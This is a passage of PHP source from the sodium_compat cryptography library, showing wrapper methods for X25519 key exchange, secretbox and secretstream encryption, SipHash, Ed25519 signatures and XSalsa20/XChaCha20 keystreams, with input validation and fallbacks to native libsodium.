'\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify', (string) $passwd, (string) $hash ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * Calculate the shared secret between your secret key and your * recipient's public key. * * Algorithm: X25519 (ECDH over Curve25519) * * @param string $secretKey * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_scalarmult( #[\SensitiveParameter] $secretKey, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult($secretKey, $publicKey); } if (self::use_fallback('crypto_scalarmult')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey); } /* Output validation: Forbid all-zero keys */ if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", self::CRYPTO_BOX_PUBLICKEYBYTES))) { throw new SodiumException('Zero public key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::scalarmult($secretKey, $publicKey); } /** * Calculate an X25519 public key from an X25519 secret key. * * @param string $secretKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress TooFewArguments * @psalm-suppress MixedArgument */ public static function crypto_scalarmult_base( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult_base($secretKey); } if (self::use_fallback('crypto_scalarmult_base')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult_base', $secretKey); } if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::scalarmult_base($secretKey); } return ParagonIE_Sodium_Crypto::scalarmult_base($secretKey); } /** * Authenticated symmetric-key encryption. * * Algorithm: XSalsa20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox( #[\SensitiveParameter] $plaintext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_secretbox($plaintext, $nonce, $key); } if (self::use_fallback('crypto_secretbox')) { return (string) call_user_func('\\Sodium\\crypto_secretbox', $plaintext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_secretbox_open($ciphertext, $nonce, $key); } if (self::use_fallback('crypto_secretbox_open')) { return call_user_func('\\Sodium\\crypto_secretbox_open', $ciphertext, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_open($ciphertext, $nonce, $key); } /** * Return a secure random key for use with crypto_secretbox * * @return string * @throws Exception * @throws Error */ public static function crypto_secretbox_keygen() { return random_bytes(self::CRYPTO_SECRETBOX_KEYBYTES); } /** * Authenticated symmetric-key encryption. * * Algorithm: XChaCha20-Poly1305 * * @param string $plaintext The message you're encrypting * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Ciphertext with Poly1305 MAC * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key); } /** * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305(). * * @param string $ciphertext Ciphertext with Poly1305 MAC * @param string $nonce A Number to be used Once; must be 24 bytes * @param string $key Symmetric encryption key * @return string Original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_secretbox_xchacha20poly1305_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_SECRETBOX_MACBYTES) { throw new SodiumException("Ciphertext must be at least CRYPTO_SECRETBOX_MACBYTES long"); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key); } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key); } /** * @param string $header * @param string $key * @return string Returns a state. * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) { throw new SodiumException( 'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes' ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $msg, $aad = '', $tag = 0 ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push( $state, $msg, $aad, $tag ); } /** * @param string $state * @param string $msg * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $msg, $aad = '' ) { if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull( $state, $msg, $aad ); } /** * @return string * @throws Exception */ public static function crypto_secretstream_xchacha20poly1305_keygen() { return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES); } /** * @param string $state * @return void * @throws SodiumException */ public static function crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state); } else { ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state); } } /** * Calculates a SipHash-2-4 hash of a message for a given key. * * @param string $message Input message * @param string $key SipHash-2-4 key * @return string Hash * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_shorthash( $message, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_shorthash($message, $key); } if (self::use_fallback('crypto_shorthash')) { return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key); } return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key); } /** * Return a secure random key for use with crypto_shorthash * * @return string * @throws Exception * @throws Error */ public static function crypto_shorthash_keygen() { return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES); } /** * Returns a signed message. You probably want crypto_sign_detached() * instead, which only returns the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed. * @param string $secretKey Secret signing key. * @return string Signed message (signature is prefixed). * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign( $message, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign($message, $secretKey); } if (self::use_fallback('crypto_sign')) { return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign($message, $secretKey); } /** * Validates a signed message then returns the message. * * @param string $signedMessage A signed message * @param string $publicKey A public key * @return string The original message (if the signature is * valid for this public key) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_sign_open( $signedMessage, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_sign_open($signedMessage, $publicKey); } if (self::use_fallback('crypto_sign_open')) { return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey); } return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey); } /** * Generate a new random Ed25519 keypair. * * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_sign_keypair() { if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair(); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_keypair'); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::keypair(); } return ParagonIE_Sodium_Core_Ed25519::keypair(); } /** * @param string $sk * @param string $pk * @return string * @throws SodiumException */ public static function crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $sk, $pk ) { ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); $sk = (string) $sk; $pk = (string) $pk; if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); } return $sk . $pk; } /** * Generate an Ed25519 keypair from a seed. * * @param string $seed Input seed * @return string Keypair * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return sodium_crypto_sign_seed_keypair($seed); } if (self::use_fallback('crypto_sign_keypair')) { return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed); } $publicKey = ''; $secretKey = ''; if (PHP_INT_SIZE === 4) { ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } else { ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed); } return $secretKey . $publicKey; } /** * Extract an Ed25519 public key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey($keypair); } if (self::use_fallback('crypto_sign_publickey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair); } return ParagonIE_Sodium_Core_Ed25519::publickey($keypair); } /** * Calculate an Ed25519 public key from an Ed25519 secret key. * * @param string $secretKey Your Ed25519 secret key * @return string The corresponding Ed25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_sign_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey); } /** * Extract an Ed25519 secret key from an Ed25519 keypair. * * @param string $keypair Keypair * @return string Secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_secretkey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_secretkey($keypair); } if (self::use_fallback('crypto_sign_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair); } return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair); } /** * Calculate the Ed25519 signature of a message and return ONLY the signature. * * Algorithm: Ed25519 (EdDSA over Curve25519) * * @param string $message Message to be signed * @param string $secretKey Secret signing key * @return string Digital signature * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_detached( $message, #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_detached($message, $secretKey); } if (self::use_fallback('crypto_sign_detached')) { return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey); } return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey); } /** * Verify the Ed25519 signature of a message. * * @param string $signature Digital sginature * @param string $message Message to be verified * @param string $publicKey Public key * @return bool TRUE if this signature is good for this public key; * FALSE otherwise * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_verify_detached($signature, $message, $publicKey) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) { throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_sign_verify_detached($signature, $message, $publicKey); } if (self::use_fallback('crypto_sign_verify_detached')) { return (bool) call_user_func( '\\Sodium\\crypto_sign_verify_detached', $signature, $message, $publicKey ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey); } return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey); } /** * Convert an Ed25519 public key to a Curve25519 public key * * @param string $pk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_pk_to_curve25519($pk) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) { return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk); } } if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk); } return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk); } /** * Convert an Ed25519 secret key to a Curve25519 secret key * * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $sk ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.'); } if (self::useNewSodiumAPI()) { if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) { return sodium_crypto_sign_ed25519_sk_to_curve25519($sk); } } if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) { return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk); } $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true); $h[0] = ParagonIE_Sodium_Core_Util::intToChr( ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248 ); $h[31] = ParagonIE_Sodium_Core_Util::intToChr( (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64 ); return ParagonIE_Sodium_Core_Util::substr($h, 0, 32); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XSalsa20 key * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream( $len, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream($len, $nonce, $key); } if (self::use_fallback('crypto_stream')) { return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XSalsa20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_stream_xor($message, $nonce, $key); } if (self::use_fallback('crypto_stream_xor')) { return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key); } return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key); } /** * Return a secure random key for use with crypto_stream * * @return string * @throws Exception * @throws Error */ public static function crypto_stream_keygen() { return random_bytes(self::CRYPTO_STREAM_KEYBYTES); } /** * Expand a key and nonce into a keystream of pseudorandom bytes. * * @param int $len Number of bytes desired * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key XChaCha20 key * @param bool $dontFallback * @return string Pseudorandom stream that can be XORed with messages * to provide encryption (but not authentication; see * Poly1305 or crypto_auth() for that, which is not * optional for security) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_stream_xchacha20( $len, $nonce, #[\SensitiveParameter] $key, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { return sodium_crypto_stream_xchacha20($len, $nonce, $key); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key); } return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key); } /** * DANGER! UNAUTHENTICATED ENCRYPTION! * * Unless you are following expert advice, do not use this feature. * * Algorithm: XChaCha20 * * This DOES NOT provide ciphertext integrity. * * @param string $message Plaintext message * @param string $nonce Number to be used Once; must be 24 bytes * @param string $key Encryption key * @return string Encrypted text which is vulnerable to chosen- * ciphertext attacks unless you implement some * other mitigation to the ciphertext (i.e. * Encrypt then MAC) * @param bool $dontFallback * @throws 